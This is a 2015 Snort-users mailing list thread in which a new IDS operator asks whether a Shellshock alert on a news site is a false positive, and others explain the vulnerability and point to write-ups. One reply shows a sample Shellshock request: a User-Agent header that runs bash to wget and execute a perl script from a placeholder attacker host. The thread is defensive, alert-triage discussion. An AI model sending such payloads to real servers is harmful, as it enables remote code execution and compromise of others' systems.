[Snort-users] ShellShock Signatures

Joel Esler (jesler) jesler at ...589...
Tue Mar 3 11:57:31 EST 2015


We made a blog post back when this came out on the details of the vulnerability here:

http://vrt-blog.snort.org/2014/09/shellshock-update-bash-immediately.html


--
Joel Esler
Open Source Manager
Threat Intelligence Team Lead
Talos Group

On Mar 3, 2015, at 11:37 AM, s0ups . <ynots0ups at ...11827...<mailto:ynots0ups at ...11827...>> wrote:

On Mon, Mar 2, 2015 at 8:54 PM, Colin Edwards <colin.p.edwards at ...11827...<mailto:colin.p.edwards at ...11827...>> wrote:
Hello Snort Users,

I'm a new list member, and happy to say that I've been working with Firesight and a couple of ASA-X Firepower modules for almost a week now.  This is my first time hands-on w/ an IPS/IDS.  I'm here because I found this message from this list while researching an alert: http://sourceforge.net/p/snort/mailman/message/32980285/ .  I had a user viewing a newspaper's website today, and I received an alert for 1:31977.  I actually wasn't familiar with the domain name, and just searching for the domain I saw in the alert in Google also generated an alert from my workstation (I assume something to do with Google pulling news/images to display in the results?).  The URI from the request does have "() {" in it, so that's why it was triggered, but I don't know if it's a False Positive alert.  The website was for the Sacramento Bee (www.sacbee.com<http://www.sacbee.com/>).  I can provide more detail from the pcap / URI when I'm back in the office tomorrow.


While I'm introducing myself as a snort newbie...If anyone has any recommendations for other resources or reading material, feel free to message me off-list.

Cheers,
Colin Edwards
CISSP, GCIH, GCWN, GSEC, MCSE


Yo Colin,

As you probably know, Shellshock attacks attempt to exploit environment variables that use user-provided data. The attacks are pretty easy to identify as they usually have some recognizable commands after the "() { :;};". I've actually hardly, if ever, see 1:31977 in my environment as the majority of the legit hits I see target HTTP header fields (so 1:31978 is more common) like so:
    GET /cgi-bin/possiblevulnerablescript.cgi
    User-Agent: () { :;}; /bin/bash -c "cd /var/tmp;wget http://attackerwebsite/maliciousperlcode;perl maliciousperlcode

Fireeye has a good explanation and illustration of the various attack methods seen for the Shellshock vulnerability which will give you a good idea on what the common attacks look like. (https://www.fireeye.com/blog/threat-research/2014/09/shellshock-in-the-wild.html)

Chances are if it's an HTTP response from an external webserver to a client browser than it's a FP and poses little to no threat. I'd be interested in checking out the URI if you want to send it to me.

- s0ups

On Mon, Mar 2, 2015 at 8:54 PM, Colin Edwards <colin.p.edwards at ...11827...<mailto:colin.p.edwards at ...11827...>> wrote:
Hello Snort Users,

I'm a new list member, and happy to say that I've been working with Firesight and a couple of ASA-X Firepower modules for almost a week now.  This is my first time hands-on w/ an IPS/IDS.  I'm here because I found this message from this list while researching an alert: http://sourceforge.net/p/snort/mailman/message/32980285/ .  I had a user viewing a newspaper's website today, and I received an alert for 1:31977.  I actually wasn't familiar with the domain name, and just searching for the domain I saw in the alert in Google also generated an alert from my workstation (I assume something to do with Google pulling news/images to display in the results?).  The URI from the request does have "() {" in it, so that's why it was triggered, but I don't know if it's a False Positive alert.  The website was for the Sacramento Bee (www.sacbee.com<http://www.sacbee.com/>).  I can provide more detail from the pcap / URI when I'm back in the office tomorrow.


While I'm introducing myself as a snort newbie...If anyone has any recommendations for other resources or reading material, feel free to message me off-list.

Cheers,
Colin Edwards
CISSP, GCIH, GCWN, GSEC, MCSE

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